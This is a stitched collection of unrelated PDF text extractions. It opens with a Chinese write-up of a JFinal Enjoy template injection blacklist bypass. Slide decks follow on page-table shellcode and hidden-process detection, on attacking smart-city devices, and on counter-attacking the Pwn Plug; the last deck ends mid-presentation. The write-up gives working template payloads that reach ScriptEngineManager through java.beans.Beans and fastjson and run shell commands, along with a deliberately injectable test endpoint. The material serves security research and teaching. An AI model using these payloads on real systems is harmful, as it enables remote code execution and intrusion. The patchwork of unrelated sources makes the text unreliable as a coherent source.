if (this.peek() != EOF) {
throw new ParseException("Expression error: can not match
\"" + this.peek().value() + "\"", this.location);
} else {
return (Expr)expr;
}
}
}
在exprList,具体的过程也⽐较复杂
这⾥放⼀个调⽤栈就好了,有兴趣可以⾃⼰跟⼀跟(它规定了以什么样的顺序去解析我们的表
达式)
ExprList exprList() {
ArrayList exprList = new ArrayList();
while(true) {
Expr expr = this.expr();
if (expr == null) {
break;
}
exprList.add(expr);
if (this.peek().sym != Sym.COMMA) {
break;
}
this.move();
if (this.peek() == EOF) {
throw new ParseException("Expression error: can not match
the char of comma ','", this.location);
}
}
return new ExprList(exprList);
}
staticMember:326, ExprParser (com.jfinal.template.expr)
incDec:287, ExprParser (com.jfinal.template.expr)
unary:279, ExprParser (com.jfinal.template.expr)
nullSafe:253, ExprParser (com.jfinal.template.expr)
mulDivMod:241, ExprParser (com.jfinal.template.expr)
addSub:229, ExprParser (com.jfinal.template.expr)
greaterLess:216, ExprParser (com.jfinal.template.expr)
equalNotEqual:203, ExprParser (com.jfinal.template.expr)
最终在staticMember会返回⼀个实例化的staticMember对象
and:191, ExprParser (com.jfinal.template.expr)
or:179, ExprParser (com.jfinal.template.expr)
ternary:165, ExprParser (com.jfinal.template.expr)
assign:158, ExprParser (com.jfinal.template.expr)
expr:127, ExprParser (com.jfinal.template.expr)
exprList:110, ExprParser (com.jfinal.template.expr)
parse:97, ExprParser (com.jfinal.template.expr)
parseExprList:76, ExprParser (com.jfinal.template.expr)
parseExprList:269, Parser (com.jfinal.template.stat)
stat:117, Parser (com.jfinal.template.stat)
statList:87, Parser (com.jfinal.template.stat)
parse:77, Parser (com.jfinal.template.stat)
buildTemplateBySource:305, Engine (com.jfinal.template)
getTemplateByString:242, Engine (com.jfinal.template)
getTemplateByString:223, Engine (com.jfinal.template)
main:50, Test (com.example.ezsb)
在初始化的时候还会检查类名与⽅法名是否在⿊名单当中,具体的在上⾯提到过就不贴了点
我直达
后⾯过程就省略了,已经到了我们想要的了,后⾯就是如何调⽤这个静态函数了,当然其实
不⽌能调⽤静态⽅法,还可以直接调⽤实例对象的⽅法,但是也是有⿊名单拦截
绕过Bypass
根据之前的调试我们知道,如果想要在模板⾥⾯执⾏函数有⼏个条件
对于调⽤静态⽅法,只能调⽤公共静态⽅法(但不能⽤⿊名单当中的类以及⽅法)
对于实例对象的⽅法,只能调⽤public修饰的(但不能⽤⿊名单当中的类以及⽅法)
绕过第⼀个⽅式直接命令执⾏⽐较难,那么如果是第⼆种⽅式的话那我们肯定需要获取⼀个
类的实例,那么有没有⼀个public类的静态⽅法能返回我们任意的实例呢,那就看看有没有办
法能够返回⼀个类的实例呢?这样就可以 javax.script.ScriptEngineManager来执⾏任意Java代码
(这样也⽐较好绕过⿊名单了)
⾸先⽹上搜了搜jfinal的历史,发现可以通过fastjson去实例化⼀个类,同时可以开启autotype,
构造payload长这样
既然这样那有没有jre当中的类可以实现类似的效果呢?答案是有
Java⾃带类绕过
我发现有⼀个类 java.beans.Beans
这个⽅法又臭又长,不过好在符合条件classLoader也不需要传,真舒服呀
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true))
#(x.addAccept("javax.script.ScriptEngineManager"))
#set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngi
neManager"}'))
#set(b=a.getEngineByName('js'))
#set(payload=xxxxxx)
#(b.eval(payload))
public static Object instantiate(ClassLoader cls, String beanName) throws
IOException, ClassNotFoundException {
return Beans.instantiate(cls, beanName, null, null);
}
if (cls == null) {
try {
cls = ClassLoader.getSystemClassLoader();
} catch (SecurityException ex) {
// We're not allowed to access the system class loader.
// Drop through.
}
}
因此配合这个类顺⼿拿下模板SSTI
获取回显
我们考虑两个场景,⼀个是直接执⾏,另⼀个return返回值
写⼊内存马
#set((java.beans.Beans::instantiate(null,"javax.script.ScriptEngineManager
")).getEngineByExtension("js").eval("function test(){ return
java.lang.Runtime};r=test();r.getRuntime().exec(\"open -na
Calculator\")"))
既然能够执⾏任意代码了那肯定拿下内存马,这⾥启⼀个springboot环境测试,简单测试下
直接回显
很简单不需要讲了都,很常规payload
@ResponseBody
@RequestMapping("/")
public String abc(@RequestParam("base") String base) {
ProcessBuilder processBuilder = new ProcessBuilder();
Engine engine = Engine.use();
engine.setDevMode(true);
engine.setToClassPathSourceFactory();
Template template = engine.getTemplateByString(base);
String result = template.renderToString();
return result;
}
测试下
base=#
((java.beans.Beans::instantiate(null,"javax.script.ScriptEngineManager")).
getEngineByExtension("js").eval("var s = [3];s[0] = \"/bin/bash\";s[1]
=\"-c\";s[2] = \"id\";var p =java.lang.Runtime.getRuntime().exec(s);var sc
= new
java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\A\");var
result = sc.hasNext() ? sc.next() : \"\";sc.close();result;")) | pdf |
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Weird-Machine Motivated Practical
Page Table Shellcode & Finding
Out What's Running on Your
System
Shane Macaulay
Director of Cloud Services
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Killing the Rootkit! And how to find
everything running on your system!!!
•
Rootkit/APT technique for hiding processes
– Unlink kernel structures “DKOM”
•
New 64bit detection technique ! DC22 exclusive
– System/Platform independent technique
– Linux/BSD/Windows/ARM64/ADM64
•
Works by analyzing physical memory & properties of
MMU Virtual Memory system
IOActive, Inc. Copyright ©2014. All Rights Reserved.
The Long Road
•
Barnaby Jack, forever in our hearts and minds.
“It’s about the journey not the destination.”
IOActive, Inc. Copyright ©2014. All Rights Reserved.
13 Years since ADMMutate (slide URL)
http://1drv.ms/1rEBMJF
•
ADMmutate (last DC talk was about polymorphic
shellcode)
•
The more things change
– The more they stay the same
•
Thought about PT shellcode with ADMMutate
•
Attack is [hard/stress/]fun!!&$&%*:P;p;P
•
Defense is hard/stress
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Abusing x for fun & profit!
•
It’s usually the QB that get’s the headlines, offensive
bias in hacker scene!
•
Defense is grind’s it out for little glory.
– Let’s energize the “D” here, have some fun!!
•
A Defensive exploit
– Ultimately today were killing process hiding rootkits cross
64bit OS/Platforms TODAY!
– DKOM IS DEAD! Process hiding is DEAD!
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Also 13 Years ago
•
What else was going on back then?
– x86 assembler in Bash
“cLIeNUX”
“shasm is an assembler written in GNU Bash Version 2, which may work in
other recent unix-style "shell" command interpreters.”
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Ideals
•
As best as possible, figure out all running code
– Code/hacks/weird machine's included/considered
– When have we done enough?
•
We focus on establishing our understanding through
real world targets: Hypervisor monitored guests.
•
Combine protection pillars; structure analysis, physical
memory traversal and integrity checking.
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Practical concepts
•
Attacks: WeIrD MaChinE
– Lots of fun!
• Much esoteric/eclectic More fantastical!!!
•
Defense: Detecting * That means everything
– Home field == USE THE “FORCE” A HYPERVISOR!
• Establishes verifiability of device state (i.e. not worried about
platform attacks e.g. BIOS/firmware/UEFI)
• Games in fault handler do not work on snapshot, even just
extracting physical memory can be hard
• Protection from virtualized (Dino Dai Zovi), that is
serious/obvious impact to performance when nested.
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Practical Page Table ShellCode
Motivations
•
An attack devised to understand memory protection
systems
–
Development necessitated comprehensive understanding of inner workings, system
fault handling complexities and some of the lowest level (brain melting, see reference
below) interaction of software and hardware on modern 64bit platforms.
– Until Windows 7, page tables directly executable
• NonExecutable is opt-in/non-default
– The page-fault weird machine: lessons in instruction-less
computation
• Julian Bangert, Sergey Bratus, Rebecca Shapiro, Sean W. Smith
from WOOT'13 Proceedings of the 7th USENIX conference on
Offensive Technologies
IOActive, Inc. Copyright ©2014. All Rights Reserved.
X64 Kernel Virtual Address Space
http://www.codemachine.com/article_x64kvas.html
Start
End
Size
Description
Notes
FFFF0800`00000000
FFFFF67F`FFFFFFFF
238TB
Unused System Space
WIN9600 NOW USE & CAN
CONTAIN +X AREAS
FFFFF680`00000000
FFFFF6FF`FFFFFFFF
512GB
PTE Space
-X used to be executable
Win7
FFFFF700`00000000
FFFFF77F`FFFFFFFF
512GB
HyperSpace
8.1 seems to have cleaned up
here, 9200 had 1 +X page
FFFFF780`00000000
FFFFF780`00000FFF
4K
Shared System Page
FFFFF780`00001000
FFFFF7FF`FFFFFFFF
512GB-4K
System Cache Working Set
FFFFF800`00000000
FFFFF87F`FFFFFFFF
512GB
Initial Loader Mappings
Large Page (2MB) allocations
FFFFF880`00000000
FFFFF89F`FFFFFFFF
128GB
Sys PTEs
FFFFF8a0`00000000
FFFFF8bF`FFFFFFFF
128GB
Paged Pool Area
FFFFF900`00000000
FFFFF97F`FFFFFFFF
512GB
Session Space
FFFFF980`00000000
FFFFFa70`FFFFFFFF
1TB
Dynamic Kernel VA Space
FFFFFa80`00000000
*nt!MmNonPagedPoolStart-1
6TB Max
PFN Database
*nt!MmNonPagedPoolStart
*nt!MmNonPagedPoolEnd
512GB Max
Non-Paged Pool
DEFAULT NO EXECUTE
FFFFFFFF`FFc00000
FFFFFFFF`FFFFFFFF
4MB
HAL and Loader Mappings
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Page Table ShellCode weird-machine
•
Win7- and earlier
– Can we emit intended shellcode into PTE area?
• Call VirtualAlloc() from user space results in executable
memory in kernel
– Just reserving memory causes a code-write operation
into kernel space
PXE at FFFFF6FB7DBEDF68 PPE at FFFFF6FB7DBEDF88 PDE at FFFFF6FB7DBF1008 PTE at FFFFF6FB7E201EA0
contains 0000000000187063 contains 0000000134C04863 contains 0000000100512863 contains 000000002DC3B863
pfn 187 ---DA--KWEV pfn 134c04 ---DA--KWEV pfn 100512 ---DA--KWEV pfn 2dc3b ---DA--KWEV
IOActive, Inc. Copyright ©2014. All Rights Reserved.
PT SC WM Died with Win8 (below)
•
This works earlier than Win7, interesting to examine
fault handling, but ultimately Win8 this is dead!
Child-SP RetAddr Call Site
ffffd000`2b34ecf8 fffff800`16066ee1 nt!LOCK_WORKING_SET
ffffd000`2b34ed00 fffff800`1603f5ad nt!MiSystemFault+0x911
ffffd000`2b34eda0 fffff800`1615af2f nt!MmAccessFault+0x7ed
ffffd000`2b34eee0 fffff6fb`77fde37a nt!KiPageFault+0x12f
ffffd000`2b34f078 fffff800`01e423fe 0xfffff6fb`77fde37a
ffffd000`2b34f080 fffff800`163ae3e5 SIoctl!SioctlDeviceControl+0x27e
ffffd000`2b34f9b0 fffff800`163aed7a nt!IopXxxControlFile+0x845
ffffd000`2b34fb60 fffff800`1615c4b3 nt!NtDeviceIoControlFile+0x56
ffffd000`2b34fbd0 00007ff9`c1b265ea nt!KiSystemServiceCopyEnd+0x13
0000003a`ba9bf8f8 00007ff9`bef92c83 ntdll!NtDeviceIoControlFile+0xa
IOActive, Inc. Copyright ©2014. All Rights Reserved.
What about new tool (wanted
ptshellcode thingy)?
•
Was going to do a talk with an expansion of the PT
shellcode concept
– Was it going to be an ADMmutate update? .NET
Compiler thingy some set of C macro’s or little script host
RoP builder/engine/host?
•
Application of technique is mostly dead, requires an
info leak(maybe) and what about use bash to write it?
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Some peace of mind – really!
•
cross platform AMD64 process detection technique
– obsoletes process hiding techniques used by all
rootkits/malware!
• Process hiding rootkits/malware technology being typical of
APT
•
Detection can be used as an attack (defensive attack
pattern)
– Defensive Exploit against ALL ROOTKITS!
IOActive, Inc. Copyright ©2014. All Rights Reserved.
The big picture ProcDetect
•
Ultimately decided on a more advanced, and useful,
tool for release today
– Hear it for the D!
•
ProcDetect should be with DefCon materials
– Signed code example for AMD64 Windows
• Other platform/OS to follow
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Attack v Defense
•
Defensive Window of opportunity
– Closing the door/window today!
•
Defensive tactics can be new classes of defensive
attack techniques
– Offensive Forensics / Automation
– Use the process detection here to post process and
detect any/every hidden process ever spawned for all
TIME!
– Keep interesting/known memory dumps around
Right now; there are no possible attacks against this
technique (“WE FOUND YOU!”)
IOActive, Inc. Copyright ©2014. All Rights Reserved.
In Memory Process Detection
•
Dumping memory is a pain physically
•
Scanning VS. List traversal
•
Scanning
– Can be very slow
– Tends to be high assurance
•
Link/Pointer Traversal
– Easily confused
– Super Fast !
IOActive, Inc. Copyright ©2014. All Rights Reserved.
What’s a Process?
•
A Process is an address space configuration
– A container for threads which are executed on a CPU.
– Threads share address space.
– Hard to know if you have them all.
– Can’t I inject a library/thread to an existing process?
• Code overwrite or injection is an integrity issue
– Hash Check
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Process Detection
•
Volatility to the rescue!
https://code.google.com/p/volatility/wiki/CommandRefer
ence#psxview
– It compares the following logical identifiers:
• PsActiveProcessHead linked list
• EPROCESS pool scanning
• ETHREAD pool scanning (then it references the owning
EPROCESS)
• PspCidTable
• Csrss.exe handle table
• Csrss.exe internal linked list (unavailable Vista+)
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Takahiro Haruyama -- April 2014, discuss his BH
Europe 2012 talk with respect to Abort Factors.
IOActive, Inc. Copyright ©2014. All Rights Reserved.
64bit Process Detection
•
Earlier presentation for kernel code
– E.g. CSW14 Diff CPU Page table & Logical kernel objects
(to detect hidden kernel modules, “rootkit revealer”)
•
Also uses page tables “Locating x86 paging structures in
memory images”
https://www.cs.umd.edu/~ksaur/saurgrizzard.pdf
– Karla Saur, Julian B. Grizzard
•
New process detection technique is faster - single pass
– Similar to “pmodump”, enhanced with 64bit & additional
checks (64bit scan has much more verifiability)
IOActive, Inc. Copyright ©2014. All Rights Reserved.
64bit Process Detection Integrity
•
Not easily attacked
– Many modifications result in BSOD
– Able to extract candidate memory for integrity checking of
memory pages to fully qualify
• Can make “non-abortable” if willing to do slower check
• Current check is really good
– Always room to grow with respect to countermeasures
and performance
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Physical/Virtual Memory
1
2
4
3
…
5
6
Page Frames
4k physical blocks
A Page Frame Number
(PFN) is the physical
memory “address”
0
22000
40000
23000
…
41000
42000
Virtual Address/Pages
Page protection is applied to
virtual pages/address ranges
IOActive, Inc. Copyright ©2014. All Rights Reserved.
A quick indirection
•
Slides 37-39 from Dave Probert (Windows Kernel
Architect, Microsoft)
– Windows Kernel Architecture Internals
•
Next slide show’s a big hint, can you guess? It’s an
example of process page table layout/configuration.
– You have to love all of those arrow’s
IOActive, Inc. Copyright ©2014. All Rights Reserved.
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Self Map trick in Linux
•
Virtual Memory in the IA-64 Linux Kernel
– Stephane Eranian and David Mosberger
• 4.3.2 Virtually-mapped linear page tables
“linear page tables are not very practical when implemented
in physical memory”
“The trick that makes this possible is to place a self-mapping
entry in the global directory.”
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Self Map process detection Windows
AMD64
•
Self Map exists for each process (not only kernel:)
•
Examining a page table - !process 0 0 dirbase/cr3
(e.g. 7820e000)
!dq 7820e000
#7820e000 00800000`60917867
!dq 7820e000+0xf68
#7820ef68 80000000`7820e863
^-- current PFN found --^ (PFN FTW)
IOActive, Inc. Copyright ©2014. All Rights Reserved.
PFN FTW Trick! (or Defensive exploit!!)
#7820ef68 80000000`7820e863
^----------^
64Bit is a more powerful check
Valid PFN will be bounded by system
physical memory constraints
IOActive, Inc. Copyright ©2014. All Rights Reserved.
These ARE the bit’s your looking for…
typedef struct _HARDWARE_PTE {
ULONGLONG Valid : 1;
Indicates hardware or software handling (mode 1&2)
ULONGLONG Write : 1;
ULONGLONG Owner : 1;
ULONGLONG WriteThrough : 1;
ULONGLONG CacheDisable : 1;
ULONGLONG Accessed : 1;
ULONGLONG Dirty : 1;
ULONGLONG LargePage : 1;
Mode2
ULONGLONG Global : 1;
ULONGLONG CopyOnWrite : 1;
ULONGLONG Prototype : 1;
Mode2
ULONGLONG reserved0 : 1;
ULONGLONG PageFrameNumber : 36; PFN, always incrementing (mode 1&2)
ULONGLONG reserved1 : 4;
ULONGLONG SoftwareWsIndex : 11;
Mode2
ULONGLONG NoExecute : 1;
} HARDWARE_PTE, *PHARDWARE_PTE;
IOActive, Inc. Copyright ©2014. All Rights Reserved.
These are the OFFSETS your looking for.
•
512 way Table (512 * 8 = 0x1000, a page)
– PFN Offset 0 configured and valid bit
– PFN Offset 0x1ed Point’s to self and valid bit
• This allows us to identify *current position
•
Mode2 has more checks for typical page table
•
Mode1 is for heightened assurance
– Both work together to extract PFN & MEMORY_RUN
gaps
– http://blockwatch.ioactive.com/MProcDetect.cs
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Self Map Detection Attacks
•
Attacks against performance
– If we de-tune performance we can validate spoof entries
and various malformed cases
– Windows zero’s memory quickly (no exiting processes, so
far:)
•
!ed [physical] can be done to assess evasive
techniques
– Simply destroying self map results in BSOD!!
– Looking for feedback testing to identify better more
comprehensive PTE flag checks (edge cases, missed
tables or extra checks)
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Implementation (basically in 1 line)
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Example execution (.vmem starts @0 offset), .DMP (0x2000+)
or other autodetect header offset
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Detected Memory Runs
•
Round value by offset to find gap size, adjust to
automate memory run detection
– Takahiro Haruyama blog post on related issue (large
memory) and also memory run detection issues from
logical sources
•
*previous slide, detecting gap, when offset changes;
– ROUND_UP(0xb4b56000, 0x40000000) = first run end
0xc0000..
– ROUND_DOWN(0x1181f1000, 0x40000000)
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Detect processes of guests from host
dump
•
A host memory dump will include page tables for every
guest VM process as well as host process entries
– Lots of room to grow here, deep integration with
HyperVisor page mapping data may be straight forward
• E.g. parsing of MMInternal.h / MMPAGESUBPOOL in
VirtualBox
•
Issues
– Hypervisor may not wipe when moving an instance or
after it’s been suspended (ghost processes)
• I’d rather detect ghosts than fail
•
Nested paging not a problem
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Skew is evident for guest instances. An typical kernel PFN is observed
(scream 187 to a mo…) as the first (large jump 0x2..->0x4…) in a range
of skewed diff values (another layer of decoding to adjust, similar to what
happens when snapshot is requested and disk memory is serialized)
Initial values reflective of host system, consistent Diff values
Final host processes identifiable by Diff realignment
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Future Weird Machine overload ?
•
Microsoft Research
– Tracking Rootkit Footprints with a Practical Memory
Analysis System -- Weidong Cui, Marcus Peinado, Zhilei
Xu, Ellick Chan
– “The goal of MAS is to identify all memory changes a
rootkit makes…. MAS does so in three steps: static
analysis, memory traversal and integrity checking”
•
Seems really hard problem (source code used in MAS),
how can we verify this level of state?
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Public symbols to the rescue’ish
•
Public symbols, RTTI or other type inference technique
to find/root(tree/linked) all pointers
– Thread stack return into verifiable code
• Anti RoP Attack
– Advanced methods kernel pool (does not require source)
verification
• Integrity Checking of Function Pointers in Kernel Pools via
Virtual Machine Introspection
–
At least kernel alerts, logs and various tracing can be trusted if
we have code integrity, process/thread detection.
– Future is not too bad for Defense!
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Summary
•
Attacks: WeIrD MaChInE
– Worst case scenario most weird machine activity can
hopefully be detected through simple tracing, logging and
monitoring tools
• What about the next GPU/UEFI backdoor? use a
hypervisor guest to establish device/low layer trust capability
•
Defenses: Detecting hidden 64bit processes
•
Deep future holds deep verifiability for more devices (get free
The Memory Cruncher™ TMC & BlockWatch ™ )
–
Active Protection System (APS)
•
FINALLY DEFENSIVE FUN & PROFIT! With the D!
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Summary
•
Always use a VM
– At least simplify memory dumping
•
Use ProcDetect
– Have fun detecting!
– Process hiding rootkit is dead
– 64bits helps peace of mind
•
We can detect a process anywhere (host, guest,
nested, on the network (probably)!
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Issues, Considerations Caveats
•
Use a hypervisor – secure the guest/host (very hardened
host)
– Hypervisor escape == you’re a high value to risk nice exploit
• Probably NOT YOU!
• BluePill type attacks, hopeful still to consider (but perf hit of
nesting should be obvious)
•
SefMap Detection relies on page table.
– Maybe “no paging process”– (same as x86 paging paper)
– TSS considerations, monitor other tables with stacks?
– Remote DMA?
• Please no!
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Attention Wikipedia editors DKOM
“Not only is this very difficult to..”
We have a high assurance capability, applicable cross 64bit
platforms (linux/freebsd also arm64, etc…) , for process
detection.
Even though threads are distinct execution contexts, the
property of shared MMU configuration establishes a
verification capability that OS kernel object manipulation can
not effect.
IOActive, Inc. Copyright ©2014. All Rights Reserved.
Thank you & Questions
•
I hope I referenced earlier works sufficiently, this topic is
broad and expansive, thanks to the many security
professionals who analyze memory, reverse-engineered,
dove deep and discussed their understanding.
•
References, follow embedded links and their links | pdf |
Outsmarting the Smart City
DISCOVERING AND ATTACKING THE TECHNOLOGY THAT RUNS
MODERN CITIES
&
2
Page
Researcher Bios
• Daniel Crowley
• Research Baron at IBM X-Force Red
• Pen tester since 2004
• Locksport enthusiast and past competition winner
• Actually holds the title of Baron (in Sealand)
3
Page
Researcher Bios
• Jennifer Savage
• Security Researcher at Threatcare
• Black Hat review board member
• Experience includes:
̶
development
̶
vulnerability assessment
̶
vulnerability management
̶
penetration testing
̶
security research
4
Page
Researcher Bios
• Mauro Paredes
• Managing Consultant at IBM X-Force Red
• Passion for security flaws and their corrections
• Formerly developer, net/server admin, security architect
• Pen tester for many years
• 20+ years infosec experience in multiple industries
5
Page
What kind of tech makes a city “smart”?
• Industrial Internet of Things
• Urban Automation
• Public Safety / Emergency Management
• Intelligent Transportation Systems
• Metropolitan Area Networks
6
Page
Limited citizen privacy and risk management options
• You don’t have to buy an Alexa
• You can buy a non-smart TV
• You can buy a feature phone (or forego a cell phone)
• You can buy an ancient car
• Can you move to a city that isn’t “smart”?
7
Page
V2I, V2V, OBD-III and DSRC
Connected vehicles communicate with each other, and with city infrastructure, as travel occurs.
While DSRC allows unique identification, the proposed OBD-III standard is much more powerful.
8
Page
Hangzhou “City Brain”
“In China, people have less concern with privacy, which allows us to move faster”
- Xian-Sheng Hua, manager of AI at Alibaba at World Summit AI in 2017
9
Page
Smart streetlights with cameras
GE’s Bill Ruh says it’s up to each city to set policies around the data
collected by the sensors and how it can be used.
10
Page
Facial recognition
In 2017 the former head of Singapore’s civil service Peter Ong said Singapore
wants to deploy facial recognition technology to all 110,000 lampposts in the country.
11
Page
Dubai robotic police force
“By 2030, we will have the first smart police station which won’t require human employees” -
Brigadier Khalid Nasser Al Razouqi, Dubai Police’s general director of the Smart Services Department
Reconnaissance
13
Page
Traditional port scanning
• IANA assigned ranges
• masscan, unicornscan
• Internet scan projects
̶
SHODAN
̶
Censys
̶
etc
14
Page
Physical
• Visual observation
• Wireless recon
̶
WiFi
̶
900mhz one-offs
̶
Zigbee
̶
LoRaWAN
• Log off and go outside
15
Page
Search engines
• City contracts public by law
̶
Google: “purchase order” “smart device” site:gov
• Available on the Internet
• Customer case studies
16
Page
Search engines
17
Page
Open Source Application Development Portal (OSADP)
Case Study: Austin, TX
19
Page
From port scans
20
Page
From Internet scan data
21
Page
From physical recon
22
Page
From physical recon
23
Page
From Google dorking
Devices and Vulnerabilities
Echelon i.LON SmartServer and
i.LON 600
26
Page
i.LON: What it does
• IP to ICS gateway
̶ LonTalk
̶ P-852
̶ Modbus RTU
̶ Modbus / IP
̶ M-Bus
̶ SOAP/XML Web services
̶ BACnet / IP
27
Page
Probably not OSHA-approved
28
Page
i.LON SmartServer and i.LON 600
Default Web credentials
Default FTP credentials
Unauthenticated API calls (SmartServer only)
Plaintext communications
Authentication bypass
Cleartext password file on FTP
Replace binaries via FTP to execute code
Fiddle with ICS gear
Change IP address of i.LON
Gain access
Do bad things
29
Page
Authentication Bypass
30
Page
Authentication Bypass
31
Page
Authentication Bypass
• SmartServer vs 600
̶
Security Access Mode
32
Page
Leaked exploit from August 2015
Battelle V2I Hub
34
Page
V2I Hub: What it does
• Manages Vehicle to Infrastructure comms
• Modular infrastructure
• Mostly SPaT (signal phase and timing) related
35
Page
V2I Hub v2.5.1
Hard-coded admin account
Various API key issues
XSS
SQLi in API
Missing authentication
Track vehicles
Send false safety messages
Create traffic
…or just power it down
Gain access
Do bad things
36
Page
Unauthenticated shutdown script
37
Page
API Authentication
38
Page
PHP strcmp() weirdness
39
Page
PHP strcmp() weirdness
40
Page
PHP strcmp() weirdness
41
Page
PHP strcmp() weirdness
42
Page
PHP strcmp() weirdness
43
Page
V2I Hub v3.0 SQL Injection
Libelium Meshlium
45
Page
Libelium Meshlium
Missing authentication
Shell command injection
Create false sensor data
Hide real sensor data
Gain access
Do bad things
46
Page
Pre-auth shell command injection
DEMONSTRATION
Implications
49
Page
Surveillance of connected vehicles
50
Page
Traffic manipulation
51
Page
Sabotage disaster warning systems
52
Page
Sabotage of industrial equipment and gateway
QUESTIONS?
[email protected] – [email protected] – [email protected]
ibm.com/security
securityintelligence.com
xforce.ibmcloud.com
@ibmsecurity
youtube/user/ibmsecuritysolutions
© C o p y rig h t IB M C o rp o ra tio n 2 0 1 8 . A ll rig h ts re s e rv e d . T h e in fo rm a tio n c o n ta in e d in th e s e m a te ria ls is p ro v id e d fo r in fo rm a tio n a l p u rp o s e s o n ly , a n d is p ro v id e d A S IS w ith o u t w a rra n ty o f a n y k in d , e x p re s s o r im p lie d . A n y
s ta te m e n t o f d ire c tio n re p re s e n ts IB M 's c u rre n t in te n t, is s u b je c t to c h a n g e o r w ith d ra w a l, a n d re p re s e n t o n ly g o a ls a n d o b je c tiv e s . IB M , th e IB M lo g o , a n d o th e r IB M p ro d u c ts a n d s e rv ic e s a re tra d e m a rk s o f th e In te rn a tio n a l
B u s in e s s M a c h in e s C o rp o ra tio n , in th e U n ite d S ta te s , o th e r c o u n trie s o r b o th . O th e r c o m p a n y , p ro d u c t, o r s e rv ic e n a m e s m a y b e tra d e m a rk s o r s e rv ic e m a rk s o f o th e rs .
S ta te m e n t o f G o o d S e c u rity P ra c tic e s : IT s y s te m s e c u rity in v o lv e s p ro te c tin g s y s te m s a n d in fo rm a tio n th ro u g h p re v e n tio n , d e te c tio n a n d re s p o n s e to im p ro p e r a c c e s s fro m w ith in a n d o u ts id e y o u r e n te rp ris e . Im p ro p e r
a c c e s s c a n re s u lt in in fo rm a tio n b e in g a lte re d , d e s tro y e d , m is a p p ro p ria te d o r m is u s e d o r c a n re s u lt in d a m a g e to o r m is u s e o f y o u r s y s te m s , in c lu d in g fo r u s e in a tta c k s o n o th e rs . N o IT s y s te m o r p ro d u c t s h o u ld b e
c o n s id e re d c o m p le te ly s e c u re a n d n o s in g le p ro d u c t, s e rv ic e o r s e c u rity m e a s u re c a n b e c o m p le te ly e ffe c tiv e in p re v e n tin g im p ro p e r u s e o r a c c e s s . IB M s y s te m s , p ro d u c ts a n d s e rv ic e s a re d e s ig n e d to b e p a rt o f a la w fu l,
c o m p re h e n s iv e s e c u rity a p p ro a c h , w h ic h w ill n e c e s s a rily in v o lv e a d d itio n a l o p e ra tio n a l p ro c e d u re s , a n d m a y re q u ire o th e r s y s te m s , p ro d u c ts o r s e rv ic e s to b e m o s t e ffe c tiv e . IB M d o e s n o t w a rra n t th a t a n y s y s te m s ,
p ro d u c ts o r s e rv ic e s a re im m u n e fro m , o r w ill m a k e y o u r e n te rp ris e im m u n e fro m , th e m a lic io u s o r ille g a l c o n d u c t o f a n y p a rty .
FOLLOW US ON:
THANK YOU
& | pdf |
Pwn the Pwn Plug:
Analyzing and Counter-Attacking
Attacker-Implanted Devices
Wesley McGrew
Assistant Research Professor
Mississippi State University
Center for Computer Security Research
McGrew Security
[email protected]
Introduction
•Wesley McGrew
•Breaking things, RE, forensics, etc.
•Finally finished dissertation - Ph.D.
•Assistant Research Professor
•Mississippi State University
•NSA CAE Cyber Operations
•McGrewSecurity.com @McGrewSecurity
Attacker-Implantable
Devices
Attacker-Implantable
Devices
•Malicious attackers/Penetration testers
•How can you respond to one found in
your organization?
•What’re the implications of
vulnerabilities in attack software/
hardware?
Response
•Identification: Network/Physical
•Found one!
Response
• Seizure, imaging, forensication
• What info/systems has it compromised?
• Attribution
• Challenge: Procedures for embedded devices
• Counter-attack
• Offline & modify vs. attack in place
• Monitor the attacker - Attribution/Motive
• Turn it into a honeypot
Pwning Pentesters
•Implantable device:
•Send it in to to do an internal test from
comforts of “home”
•Nerdy James Bond physical pentest payload
•Re-used from test to test, client to client
•(Not leaving it there, that thing’s expensive!)
•Do you wipe it? (do you know how?)
Pwning Pentesters
•Put on your black hat.
•Hacking a pentester’s implantable
device:
•In the field
•On the bench
•All sorts of benefits...
Implications of
Pwning Pentesters
•Intercept: Let them do the work for you
•Modify/Filter: Keep some of the results for
yourself
•Camouflage: Make your own attacks appear
part of the test
•Competitive Intel: Steal all the 0day
•Gift that Keeps Giving: Do it again and again
as tester reuses device between clients
Difficulties Securing
Implanted Attack Devices
• By definition, out of your physical control
• Small/weird platforms
• Update procedure
• Underlying attack software - Software Engineering
Practices
• Did it work? Push a release, move on
• Proof of Concept code
• Huge attack surface
Security geeks can be easy
targets
A million bojillion Wireshark vulns
Semantics makes it hard
to use search engines
to find exploits in exploits
and vulns in vuln tools
Case Study: Pwn Plug
Forensics & Counter-Attack
Pwn Plug Forensics
•Forensic acquisition of Pwn Plug
•(explicit detail in whitepaper)
•Create a bootable USB drive
•Convince U-Boot to boot it
•dd the root filesystem
Pwn Plug Forensics
•Analysis
•UBIFS filesystem-level analysis limited
•Compression
•Can probably forget deleted files, etc.
•mtd-utils for mounting the image
•Attached storage - Normal procedures
•More luck filesystem-level
Pwn Plug Vuln/Exploit
